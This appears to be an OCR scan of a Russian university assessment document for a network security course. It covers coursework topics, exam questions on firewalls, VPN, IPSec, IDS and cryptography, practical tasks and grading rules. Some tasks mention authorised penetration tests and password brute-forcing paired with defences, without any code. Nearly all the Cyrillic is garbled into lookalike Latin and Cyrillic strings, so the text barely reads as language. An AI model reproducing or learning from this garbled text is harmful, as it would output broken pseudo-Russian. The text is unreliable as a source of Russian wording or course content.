CerMeHTanus JOKaJIbHOW BBIYUCIUTEIIBHON CETH.
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[IpenyioxuTh W 00OCHOBAaTH MPOEKT pazOuenHus 3amaHHod LAN-ceTm opraHuzanuu Ha
MOJICETH C YYETOM TpeOOBaHHUH 6€30MacCHOCTH.

BoimonHuTh  HEOOXOAMMBIE pacueThl A peaju3alud  MPEVIOKEHHOTO  MPOEKTa
CErMEHTHUPOBAHHUS CETH.

CMmopenupoBaTh M MNPOTECTUPOBATH MPEIJIOKEHHbIM BapuaHT cerMeHTauuu JIBC ¢
UCII0JIb30BaHUEM IIPOIPAMMBI-CUMYJIATOPA.

Cnenatb BBIBOABI MO pe3yJibTaTaM MOJCIUPOBAHUS O 1EIecO00pPa3HOCTH BBHIOPAHHOTO
BapHaHTa CerMEHTAINU CeTU ISl oOecrieueHus ee MHPOPMAIMOHHON 0€30MacHOCTH.

OO0pa3zer] THIIOBBIX BOIPOCOB TSI 3alITUTHI KYPCOBBIX pa0bOT
B 4em 3akioyaeTcst akTyalnbHOCTb BEIOPAHHOW TEMbI KypCOBOM paboThI?
Kakue MeTo1bI HCIIOIb30BaHbI MIPH MTPOBEACHUN MCCIICIOBAHUS 10 JAHHOU Teme?
Kakue TexHrnueckue 1 nporpaMMHBbIE CPEACTBA IPUMEHSITUCH NIPH BBITIOJTHEHUH KYPCOBOU
paboThI?
Kakne HOpMaTuBHO-ITPABOBBIE TOKYMEHTHI OBUIH UCTIOIb30BaHBI?
Kakue nHpopManmoHHbIe HCTOYHUKHU TIOCITYKUIH TEOPETUIECKOH 0a30ii ncciieaoBanus?
B uem 3akmrouanachk 11e51b IPOBEIEHHOTO B paboTe UCCIeA0BaHUS?
Kakue 3a1aum ObLIM TOCTABJICHBI VIS JOCTHXKEHUS JAHHOM 11en?
Kakue pe3ynbTaThl OIy4eHBI B X0/1€ BHIITOJIHEHHS KYPCOBOM pabOThI?
Kakoe npakTrueckoe NpUMEHEHHUE MOTYT HalTH Pe3ysIbTaThl IPOBEJACHHOTO UCCIICIOBAHHS?

. Kakue pexomenaum ObUIH MPEJIOKEHBI IO UTOTaM MCCIICIOBaHUA?

. B yem 3axirouaercs HOBU3HA MOJTYYEHHBIX B X0/1€ PaOOTHI pe3yiabTaToB?

. Kakue BBIBO/IBI C/1€/TaHbI IO pe3yabTaTaM BBIITOJTHEHUS! KYPCOBOW paboThI?

. Kakue TpyaqHOCTH BO3HUKIIN MPU BHIMOJIHEHUN KYpCOBOM paboThI?

. Kakoit inunbIil BKI1a ObUT BHECEH UCIIOJIHUTENIEM B TIPOBEACHHYIO padoTy?

. Kak onienuBaeTcst 10CTOBEpHOCTh OMYYEHHBIX B paboTe pe3yiabTaToB?

. Kakue nanpaBieHust JaibHEMIINX UCCIIEIOBAHUM MOYKHO TIPEIIJIOKUTD 110 JaHHOU Teme?

. I[IpoBoaunace u anpobdanus pe3yabTaToB padOThI, €CIIH 12, TO B KAKOM BUae?

. Kakoe nporpammHoe obecriedeHre UCIoJIb30BalIOCh ISl BRITIOJTHEHUS KypCOBOM paboThI?
. Kakue pecypcsl cetr IHTepHeT ObLITH 337€ICTBOBAHBI TP BBIIOJIHEHUU paOOThHI?

3.5 [lepeyeHb TeopeTHYECKUX BONPOCOB K IK3aMEHY
(17151 OLIEHKH 3HAHUM)

[TonsTHe nH(pOpMAIIMOHHOM 0€30MacHOCTH. YTPo3bl 0€30MaCHOCTH UH(POPMALIUH.
Mogenu 6e301acHOCTH KOMITBIOTEPHBIX cucTeM. [lonnTrka 6€301macHOCTH OpraHn3aIHH.
TpeboBaHus K cucTeMe 3aIlUThl HHGOPMALUU HA TIPEIIPUSTHH.
OcHOBHBIE YA3BUMOCTHU U aTaAKHW B KOMIIBIOTCPHBIX CCTAX.
CerteBble 3KkpaHbl U MeXceTeBble 3kpaHbl. HacTpoiika Opanamayspa.
Bupryansubie yacthble cetu (VPN). TynnenupoBanue tpaduka u npotoxon [PSec.
TexHoIOrMM UACHTUPHUKALMY U ayTEHTU(PHUKAIMY TOJIb30BaTEIEH.
VYnpasnenue goctynom. [Iporokons! ayrentudukannu Kerberos, RADIUS.
CpenctBa kpunTorpadu4eckoi 3amTsl UHGOpMaIi. AJITOPUTMBI HIMU(PPOBAHUS.

. DnexTpoHHas 1udposas noanuck u ceprudukarel. Uudpacrpyxrypa PKI.

. CucteMbl 0OHapy>XEHUS U MPEIOTBPAILEHHs BTOPKEHUH.

. AHTUBUpYCHBIE cpeacTBa 3auThl. OunbTpanus Tpaduka U KOHTEHTHas! QUIbTpaLIMsL.
. 3amuiieHHas >nekTpoHHas noura. Liudpossie ceprudukarst S/MIME.

. CermeHTanus ceTu U MeKCceTeBoe IKpaHupoBaHue. [IpoTokoibl MapuIpyTH3auu.
. besomacHocTh GecnipoBoiHbIX ceTeil. Ctanmaptet WEP, WPA, WPA2.

. [Ipotokomnsl Oe3omacHo niepeaaun qaHHbIX B cetu UaTepHeT (SSL, TLS).

. Ayrentudukanus u aBropuzaims B OC Windows. Active Directory.

. Yopaenenue nocrynom B OC Linux. Pa3znenenne noasHOMO4Mi OJIb30BaTENEH.

. PezepBHOE KonupoBaHue JaHHBIX. BoccTanoBneHue mocsie cO0eB U aTak.

. MoHUTOpUHT COOBITHI 6€30MaCHOCTH. AHAN3 KyPHAJIOB PETUCTPAIUH.

. 3akoHoarenbcTBO PD B obnact nH(popMaMoHHOH 0€30MacHOCTH.
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CranmapTtsl “HGOpMAIMOHHON O6e30macHoCTH. MexayHapoaabie ctanaapTsl [SO.
Aymut nnpopmaroHHoi 6ezonacnoctu. Metoauku aynuta Ub.

TexHHUYECKHE CpeACTBA U CHCTEMBI KOHTPOJIS TOCTYyIA.

Kpunrorpaduueckre METOAbI 3aIIUTHl HHPOPMALIUH.

Hcnonb3oBaHue JEKTPOHHOM IU(PPOBOH TTOAMHCH.

IIpumenenne VPN nmiist oprannsanuu yajaeHHOrO JOCTYIIA.

TexHomoruu obecnieueHus: 6€30MacCHOCTH BEO-TIPUIIOKESHUM.

Mogenu ¥ IPOTOKOJIBI ayTEeHTU(DHUKAIIMH OJIB30BaTEICH.

Cuctembl 00HapYKEHUS U PEIOTBPAILEHUS BTOPKEHHH.

KoHuenmus noctpoeHust KOpIopaTUBHBIX CETE Ha OCHOBE MOJIUTUKU OE€30IIaCHOCTH.
Yrpo3sl HHPOPMAITMOHHON 6€30MaCHOCTH U METOJIbI TPOTHBOICHCTBUSI.
TexHuueckue kaHajabl yTe4KH HH(GOPMALMK U METO/IbI 3aILUTHI.
OpraHu3anroHHbIe ACHEKTHI TOCTPOCHUS CHCTEMBI HH(POPMAITMOHHOW O€30MaCHOCTH.
Hcnonb30BaHue 37€KTPOHHOM MOJNMCH U CEPTU(UKATOB B KOPIIOPATUBHBIX CETSIX.
[TpuMeHeHrEe KpUNITOCUCTEM C OTKPBITHIM KIIIOUOM. Aroput™bl RSA.
Creranorpaguyeckue METOAbI 3alUThl HH)OPMALUH.

[Tpotokoun IPSec. Pexxumser pabotel u npumenenue B VPN.

VYnpasieHue MHIHUAEHTaMU HH()OPMAIIMOHHOM 0€30acHOCTH.

be3onacHocTh onepalmoHHbIX cucTeM. MaHIaTHOE U JUCKPELIMOHHOE YIPaBIECHUE
JOCTYIIOM.

Me:xcereBoe 3KpaHUpPOBaHHUE Ha 0a3€ MEKCETEBBIX IKPAHOB.

Cucrembl 06HapyxeHus atrak. CUrHaTypHBIA ¥ CTaTUCTUUYECKUN aHAIIU3.
3almuIeHHbIN yIadeHHbIN 10CTy Ha 0a3ze nmpoTokosia SSL.

Kpunrorpaduueckue mpoToKobl ayTeHTUDUKALMH.

AHanu3 3alMIEHHOCTH KOMIIBIOTEPHBIX CETEH.

be3zonacHocTh 6€CIIPOBOIHBIX JIOKAJIBHBIX CETEH.

Hcnons3oBanne 0qHOPa30BbIX naposei. TOKeHbl U CMapT-KapThl.

3amuiieHHas rnepeiadya JaHHbIX 110 mpoTokoay TLS.

Cranaaptsl nHGOPMAITMOHHON 0€30IaCHOCTH /IS IPEANIPUATHN U OpTaHU3aIUi.
[TprumeHeHrne OMOMETPUUYECKUX CHCTEM paclO3HABaHMUSL.

3.6 IlepeyeHb THNOBBIX MPOCTHIX NPAKTHYECKUX 32/IaHHI K IK3aMeHY
(ISt OLIEHKH YMEHMIA)
Hactpouts 6panamaysp Windows/Linux ajst pazpenieHus/3anpera onpeieIeHHOoro
CEeTeBOro Tpaduka.
Hactpouts nonutrku naponsHoii 3amutsl B OC (IUIMHA, CII0)KHOCTD, IEPHOJ] CMEHBI).
Hactpouts mudpoBanue kaHaia 6ecripoBOJHON CBSI3U C MOMOIIBIO TpoTokosia WPA?2.
[TpousBectu cMeny naposs noas3zoBatesns B OC.
Hactpouts ACL 11151 orpaHuueHus 10CTyTa K pecypcy.
[TpoBepHUTH 1IETOCTHOCTH (Paiisia C MOMOIIBI0 KOHTPOJIBHBIX CYMM.
Co3natp 3amm(ppoBaHHBINA apXHUB € TAPOJIEM.
Hactpouts VPN coennHeHne MexXay yCTpONCTBAMH.
[TpoBepuTh ceTh Ha HAIMYME YA3BUMOCTEH C IOMOLIBbIO CKaHepa.

. YcranoButh o6HOBIeHUA O6e3onacHocTH OC u I10.

. IIpousBecTu pe3epBHOE KONUPOBAHUE JaHHBIX.

. BBIMOJTHUTH HaCTPONKY CHCTEMbI OOHAPYKEHUS BTOPKEHUH.

. 3aperucTpupoBaTh cepTUPHUKAT Ha YCTPOUCTBE.

. Hactpouts 3anuiieHnyro nepeaady moursl ¢ ucnoyibzoBanueM TLS.
. I3MeHnTh yueTHyo 3anuch nosp3osarens B OC.

. BeimoauTh aHanm3 ceteBoro Tpaduka ¢ momombio cHud depa.

. IIpousBecTy BeIYMCICHHE KOHTPOJIBHON CyMMBI (paiiia.

. CrenepupoBatb napy kiatodeir RSA.

. IlpoBectn ayrentudukanuio no nporokony RADIUS.
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Hactpouts nonutuky aynuta coosituii B OC.

[Tpoananu3upoBaTh JOTH COOBITHIT 0€30MACHOCTH.

IIpoBecT CKaHMPOBAHUE YA3BUMOCTEMN CETH.

Beimonuuts mmdposanue u pacumppoBky daiina B OC.

Hactpouts nonutuky 610KMpoBKH yueTHbIX 3amuceil B OC mociie HeyJauHbIX MOMBITOK
BXOJ1.

[TpousBecTy OIIEHKY 3alUIIIEHHOCTH BEO-MIPUIIOKEHUSI OT UHBEKIUH.
Hactpouts TLS mm¢ppoBanue Ha Bed-ceppepe.

VYcraHoBuTh U HacTpouTh aHTUBUpYycHOE [10.

OcymiectBuTh pazouenue cetd Ha VLAN cerMeHTHl.

HactpouTts IPSec TyHHens Mex 1y XOCTaMHu.

BhINOTHUTE TECTOBYIO aTaKky Ha YS3BUMBIN CailT (C pa3pelieHust Biajenbla).
[TpoBeputh paboTy honeypot u mpoananu3upoBaTh pe3yabTaThI.
YcranoButh o0HOBiIeHHE Oe3omacHocTH [1O 1 mpoBepUTH BEPCHIO.
[TpoBepuTh UCIIONB30BAaHUE HE3ALUIIIEHHBIX IPOTOKOJIOB B CETH C IIOMOILIBIO CKaHEpPa.
3a010K1pOBaTh OIpeIeJIeHHbIN TpadUK ¢ TOMOIIbI0 MEKCETEBOT0 SKpaHa.
[TonyunTts uHGOpPMaLKIO 00 YCTPOMCTBAX B CETH C MOMOLIBIO MpoTokoiaa SNMP.
[IpoBepuTh HAJIMUKE yTEUEK NAPOJIEH C TOMOLIBIO YTHIIHT.

[TpousBectu cMeHy nmapoJs aIMUHUCTPATOPA HA MapLIpyTH3aTOpeE.

HaiiTi 1 ycTpaHuTh ySA3BUMOCTH BEO-TIPUIOKEHUS.

[TpoBeputh Hamuuue BpeaoHocHoro I10 ¢ momolpto aHTUBHpYCA.
Hactpoutb NOIUTUKH U30JIALIMH YCTPOUCTB B ceTH nocpeactsoM VLAN.
[TpoBecTu ataky napojabHbIM IEPEOOPOM U MPEATIOKUTD 3aLIUTY.
BBINIONTHUTE CKAaHUPOBAHUE OTKPBITHIX IOPTOB XOCTA.

[Tpoussectu ananu3z DDOS araku u npeaaokuTh CoCOObI 3aILUTHI.
HactpouTts u npoeputh padoty nporokosna [PSec.

YcranoButh nudpoBbie cepTU(UKATH HA CEPBEP/TIOTH30BATEIIS.

[TpoBepuTh ceTh HA HaIM4YKEe OOTHET-aKTUBHOCTH.

[TpoBecTu ayauT 0€301aCHOCTU BEO-TIPUIIOKEHHUSL.

[TporectupoBath padoty IDS/IPS cuctembl 00HapYKEHUS BTOPKECHHIA.
HacTtpouTh 11eHTpanu30BaHHYI0 CUCTEMY PETUCTPALIUU COOBITU.
[TpoBepuTtsh 3¢ pexTnBHOCTEAntispam puIbTpaLMH.

3.7 IlepevyeHb THNOBBIX MPAKTHYECKUX 3aJaHUI K IK3aMeHY
(17151 OLIEHKH HABBIKOB U (MJIM) OTBITA J1€ATEIHHOCTH)

Hacrpoiika 6panimMayspa: HaCTpOoUTh OpaHaIMay’3p Ha KOMIBIOTEPE, YTOOBI OIrPaHUYHUTh
JOCTYM K OIpe/IeJICHHBIM IOpTaM UJIU CIIy:K0aMm.
Hactpoiika VPN: HacTpouTs BUpTyanbHYyI0 4acTHYyI0 ceTb (VPN) ans 6e3onacHoro
YIaJIE€HHOTO JOCTYIA K JIOKAJIbHOU CETH.
[TpoBenenue aynuta GezomnacHocT cetu: [IpenocraBbre clieHapuii CETH U MTPOBECTH Ay TUT
0€30MacCHOCTH, BBIIBUTh YA3BUMOCTH U MPEJIOKUTH MEPHI [0 UX YCTPAHEHUIO.
Hacrpoiika cucrembl oOHapy»keHus BropxkeHuit (IDS): HacTpouTs cucteMy oOHapy>KEHHs
BTOPKEHUH JIJI1 MOHUTOPUHTIA CETEBOr0 TpauKa U BBISBIECHUS aHOMAJIUI.
AHanu3 xKypHaioB 0€30aCHOCTH: TPOAHATU3UPOBATh KypPHaIbl 0€30IaCHOCTU CepBEpa U
BBISIBUTH OJIO3PUTENBHYIO AKTUBHOCTb.
VYcranoBka u HacTpolika antuBupycHoro [10: [IpenoctaBeTe 3aaHKe Ha yCTAaHOBKY U
HACTPOIKY aHTUBUPYCHOTO MPOTPaMMHOI0 00ecIiedeH s Ha KOMIIBIOTEpE.
Co3naHue miaHa BOCCTaHOBIIEHHS ITociie ¢00si: pa3paboTaTh IJIaH BOCCTAHOBIIEHUS TIOCIIE
co6os (Disaster Recovery Plan) 115t BBIMBIIIZIEHHONH KOMIIAHHH.
Hactpoiika cucteMsl KOHTpOJIs 1ocTymna K ceTeBbM nopraM (NAC): HaCTpOUTh CUCTEMY
KOHTPOJIS JOCTYIIA K CETEBBIM ITOPTaM JJIsl OTPAHUYEHUS JOCTYIIA YCTPOMCTB K CETH.
Co3aHue MONMUTUKY YIPaBICHUS JOCTYIOM: pa3paboTaTh MOJUTHUKY YIIPABICHHS
JIOCTYIIOM K pecypcaM CETH U IPUMEHHUTH €e.
[TpoBenenue TecCTUPOBaHUS Ha TPOHUKHOBEHUE (IIEHTECT): MPOBECTU TECTUPOBAHHUE HA
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IPOHUKHOBEHHE B CETh U MOATOTOBUTH OTUET O HalICHHBIX YSI3BUMOCTSX.

Hactpoiika cucteMbl MOHUTOPUHTA TpauKa: HACTPOUTH CUCTEMY MOHMTOPUHTA TpaduKa
JUI OTCIIEKUBAHUS CETEBON aKTUBHOCTHU.

Pa3paboTka nmosmTHKN OOHOBJIEHUS POTPAMMHOT0 00ECTIEYeHHUS: Pa3padboTaTh CTPATETHIO
U TOJIMTUKY OOHOBJICHHSI TIPOIPAaMMHOI0 00€CIIeYeHusI B OpraHu3altu.

[TpoBenenue ananu3a ya3BUMOCTEH € MCIIOJIb30BaHUEM CKaHEpa: IPOBECTH CKAaHUPOBAHUE
CEeTH Ha HaJIM4He ysI3BUMOCTEH ¢ UCIIOJIb30BaHUEM HHCTPYMEHTA, TAKOro Kak Nessus.
Hactpoiika MHOTO(aKTOpHOI ayTeHTH(PHUKALUN: HACTPOUTH CUCTEMY MHOTO(AKTOPHOMA
ayTeHTU(UKALMKU 7S TOCTYIA K BaXKHBIM pecypcam.

Hacrpoiika cucremsl mu(poBaHus JaHHBIX: 3a/JaHE HACTPOUKU MIM(POBAHUS TaHHBIX Ha
YPOBHE JMCKA U B TPAH3UTE.

Co3znanne moauTuku 00padotTku coopiTuii (SIEM): paspaboTath cTpareruto 00padoTKu
COOBITUH € UCTIOJIB30BAHUEM CUCTEMBI yrpaBieHus coopitTuaMu (SIEM).

[TpoBepka ypoBHs 3aUThI pU3HMUECKOH HHPPACTPYKTYPbI: OLEHUTh YPOBEHB 3aAILUTHI
(U3NUECKUX aKTUBOB, TAKUX KaK CEpPBEPHBIC KOMHATHI M CETEBOE 00OPYIOBaHUE.

AHaJn3 NOTOKOBOTO Tpa(uKa U BbISIBIIEHUE aHOMAJIUN: IPOaHAIM3UPOBATH IOTOKOBBIH
CeTeBOil TpaduK U BBISIBUTH aHOMAJIUH.

Co3naHue miiaHa pearupoBaHus Ha HHIUIEHTHI 0€3011aCHOCTHU: pa3paboTaTh IUIaH
pearupoBaHHs HA HHIUACHTHI O€30MIaCHOCTH C OMUCAHMEM IIAroB 10 pearupoBaHUIO Ha
UHIIUJICHTBHI.

Onenka ypoBHs cO0JIIO/IEHUS ITPaBUII O€30MMACHOCTH COTPYIHUKAMM: IPOBECTH aHAIN3
coOutroIeHHs ITpaBuil 0€30MACHOCTH COTPYIHUKAMU OpraHU3alyu U MPEeAI0KUTh MEPHI 10
YIy4IICHUIO.

4. MeToan4yeckue MaTepuaJbl, onpeae/siioinme NpoueIypy oeHuBaHus

3HAHUH, YMEHUI, HABBIKOB U (MJIH) ONbITA 1eATeJIbHOCTH

B Ta6J'II/II_Ie IIPUBCACHBI OIIMCAaHUA IIpoHeAyp IPOBCACHHA KOHTPOJIBbHO-OLCHOYHBIX

MEPONPHUSITHIA ¥ TIPOIEAYP OICHUBAHUS PE3YJIbTATOB OOYUCHHS C IIOMOIIBIO OIIEHOYHBIX CPEJICTB B
COOTBETCTBUU C paboyeil mporpaMMoi JUCIUILITHHBL.

HanmenoBanue
OIIEHOYHOT O
CpeacTBa

Onucanus nmpoucaypsl NpOBEACHUA KOHTPOJBHO-OICHOYHOT' O
MEPONPUATHUA U ITPOLUCAYPBI OUCHUBAHUS PE3YJILTATOB O6y‘{eHI/IH

Co0OecenoBanue

CobecenoBanue, MpeaycMOTpEeHHOE paboyeil MmporpamMMmoi JAHUCIUIUINHBI,
MIPOBOJIUTCS HAa TMIPAKTHYECKOM 3aHATHU. [IpernogaBaTens Ha MPaKTUIECKOM
3aHSATUH, MPEALIECTBYIOIIEM 3aHATHIO TPOBEACHUS KOHTPOJIS, JOBOJUT 10
oOyyaroluxcsi TeMy, BONpPOCHI JUIsl TOATOTOBKM K COOECEeI0BaHMUIO.
Pesynprathl cobecenoBaHMs NpenojaBareib JOBOIUT A0 OOydYaOUIMXCS
Cpasy 1mocJe 3aBeplleHus: cooece10BaHus

JIaGoparopHas
paborta

3ammra J1a0OpaTopHBIX pabOT HPOBOIUTCS BO BpeMs J1a0OpaTOPHBIX
3aHsaTHUA. Bo BpemMs mnpoBedeHMs 3allUThl J1a0OpaTOpHOM paboThI
M0JIb30BaThCs  y4yeOHUKAaMH, CIPABOYHUKAMHU, KOHCIEKTaMH JICKIHA,
TETpaJsIMUA HE Pa3perieHo.

[IpenonaBatens Ha jJabopaTOpHOM paboOTe, MPEIIECTBYIOUICH 3aHATHIO
MIPOBEACHUS 3aIIUTHI JIAOOPATOPHOW pabOTHI, JOBOJIUT IO OOYUYAIOIIUXCS:
HOMEp 3alMIaeMoil j1abopaTopHOil pabOTH, BpeMs Ha 3alUTy
nabopaToOpHOU PabOTHI.

[IpenonaBatens uHGOPMHUpPYET OOYYAIOMIMXCS O pe3yjibTaTax 3allUuThl
nabopaTopHOil paboOTBHl cpa3dy TOCIHE€ €€ KOHTPOJIBHO-OIEHOYHOTO
MEPONPUSITHS

KypcoBas pabota

Xo0J BBINOJIHEHUS pa3aciioB KprOBOf/'I pa6OTI>I B paMKax TCKYLICTO
KOHTPOJIA OLCHMUBACTCs npenoaaBaTejIeM nucxonsa nus3 00BbEMOB
BBIITOJIHCHHBIX pa60T B COOTBE€TCTBHEC CO IIIKaJaMHM OILICHHMBAHUA.




[IpenonaBaTens HHPOPMHUPYET 0OYUAIOUINXCS O PE3yJIbTaTaxX OLCHUBAHUS
BBITTOJIHEHUSI KYPCOBOTO MPOEKTa cpa3y IMocie KOHTPOJIHHO-OLIEHOYHOTO
MEpOTPUATHSL.

B xozme 3ammuThl KypcOBOM paboThl OOy4arouuiicss JAenaeT JOKjIaj
HPOTSHKEHHOCTBIO 5 — 7 MuHyT. [IpernonaBarens CTaBUT OKOHYATEIHHYIO
OLICHKY 3a KYpCOBYIO pabOTy TMOC]E 3aBEpIICHHS 3alUThl, YYUTHIBAS
YPOBEHb €€ 3alHUThI

JIns OpraHu3aliid ¥ TPOBEACHHS TMPOMEKYTOYHOH aTTECTAIlMd COCTABIISIFOTCS THIIOBBIC
KOHTPOJIbHBIE 33][aHUS HJTH HHBIE MaTepUAITbI, HEOOXOIMMBIE JIs1 OIICHKH 3HAHHI, YMEHUH, HABBIKOB
U (WJIH) OTIBITA JCSITEIBHOCTH, XapaKTEPU3YIOIIUX ATAIbl (OPMUPOBAHUS KOMIIETCHIIUHN B MPOIIeCCe
OCBOCHHSI 00pa30BaTEIBHOM MTPOrPaMMBI.

[lepedyeHb TEOPETHYECKUX BOIPOCOB W THUIIOBBIC MPAKTHUCCKUE 3aJaHUS PA3HOTO YPOBHS
CJIO)KHOCTH ISl TIPOBENICHHSI MPOMEKYTOYHOM aTTecTallii OOydYalolIrecs MOJy4YarT B Hadvaje
ceMecTpa dYepe3 JIIEKTPOHHYI HH(popMmanmoHHo-o0pazoBatenbuyo cpeny Hpl' YIIC (uunbiid
KaOMHET 00y4aromerocs).

Onucanue npoueayp NpoBeIeHusi NPOMEKYTOUHOIH aTTecTalUu B (popMe IK3aMeHa
U OLIeHUBAHUS Pe3yJIbTATOB 00y4YeHHUs!
[IpomexyTrouHas arrecranus B (hopMe 3K3aMeHa MPOBOIAUTCS TyTEM YCTHOTO coOece10BaHus
1o omieTaM Wwin B GopMe KOMITBIOTEPHOTO TECTHPOBAHUSI.

[Ipn mnpoBegeHMM NPOMEKYTOYHON arTecTanuu B ¢dopMe cobeceoBaHUS OUIIETHI
COCTABIISIIOTCSL TAKUM 00pa3oM, YTOOBI KXKABIN M3 HUX BKIIOYAl B ce0s TEOPETUYECKHE BOMPOCH U
MPAKTUYECKHE 3a/1aHusl.

buner comepXuT: ABa TEOPETHUECKMX BOIpOca MJs OLEHKM 3HaHui. Teopermueckue
BOIPOCHI BEIOUPAIOTCS M3 IEPEYHS BOMPOCOB K SK3aMEHY; JBa MPAKTUYECKUX 3a/1aHUs: OJTHO U3 HUX
JUIE OUEHKH YMEHHUH (BBIOMpAeTcss M3 TEpPeyHs TUIOBBIX IPOCTHIX MPAKTUYECKUX 3aJaHuid K
9K3aMeHy); APYroe MpakTHYeCKOoe 3aJaHue AJs OICHKM HABBIKOB U (WJIM) OMbITa AEATEIbHOCTH
(BBIOMpAIOTCA U3 NEPEUHS TUIIOBBIX MPAKTUYECKUX 3aJIJaHUH K DK3aMEHY).

Pacrnipenenenuie TeopeTHUECKUX BOMIPOCOB M MPAKTHUECKUX 3aJIaHUH M0 SK3aMEHAIIMOHHBIM
OuyieTaM HaxOJUTCSA B 3aKPBITOM ISl 00ydaronmxcs JocTyne. Pa3paboTaHHblii KOMIUIEKT OMIIETOB
(25-30 OweTOB) HE BBICTABISICTCS B JJICKTPOHHYIO HH()OPMAIMOHHO-00pa30BATEILHYIO CPENy
UpI'VIIC, a xpanurcs Ha kadenpe-pazpaboTunke GOHAOB OLIECHOYHBIX CPEICTB.

Ha sk3amene oOyuwaromuiics 6epetr Ouier, uid MOATOTOBKM OTBETA HA HK3aMEHAI[MOHHBIN
Owiet oOyuaromeMycsi OTBOAUTCS BpeMs B mipejenax 45 MunyT. B mporiecce oTBeTa oOyvaromerocs
Ha BOIIPOCHI U 33JjaHMsl OMJIeTa, IpenojaBarelb MOXKET 3a/1aBaTh JIOTMOJIHUTEIbHBIE BOTIPOCHI.

Kaxnpiii Bompoc/3afanue Ouiieta OLEHMBAETCS MO 4eThlpexOayulbHON cucTeme, a jaalnee
BBIUUCIIICTCS CpellHee apU(PMETHYECKOe OIEHOK, MOJYYEHHBIX 3a KaXIblii BOMpOC/3aJaHHE.
Cpennee apupmMeTHUECKOE OLIEHOK OKPYTJISETCS /10 1IEJIOT0 10 IPaBUiIaM OKPYTIEHHS

IIpu mpoBeneHMM NPOMEXYTOUHOH arrecTauuud B (OpME KOMIIBIOTEPHOTO TECTUPOBAHMS
BapHaHT TECTOBOTO 3aJaHust PopMUpYeTCst 13 (POH/IA TECTOBBIX 3aIaHUH 110 JUCIUTUIMHE CITyJaitHBIM
o0pa3om, Ho ¢ ycaoBueM: 50 % 3agaHuii TOJKHBI ObITh 3aJJaHUAMU OTKpbITOro THHA U 50 % 3a1aHuit
— 3aKPBITOTO THIIA.

Oo0pasen 3K3aMeHAIIMOHHOT0 OuJiera

Ao p— YTBepKaaro:
nrﬁ§= DK3aMeHaAIMOHHbIN Guitet Ne 1 P
PTG, no ancunnanne «Besonacnocts cereii DBMy | SaBELylomuii kadepoii
20 -20 « » UpI'VIIC
y4eOHBIN ToJ

1. [TonsiTne nHGOpPMAITMOHHOM 0€30MaCHOCTH. YTPO3bl 6€30macHOCTH HH(POPMAIIHH.
2. Ilporokon IPSec. Pexxumbl paboTsl 1 npumenenue B VPN.
3. HactpouTts IPSec TyHHETH MEXKITy XOCTaMH.




4, HpOBeCTI/I TECTUPOBAHHUEC HAa IPOHHKHOBCHHE B CCTh W IIOATOTOBUTH OTYET O H&ﬁI[CHHLIX
YA3BUMOCTAX.




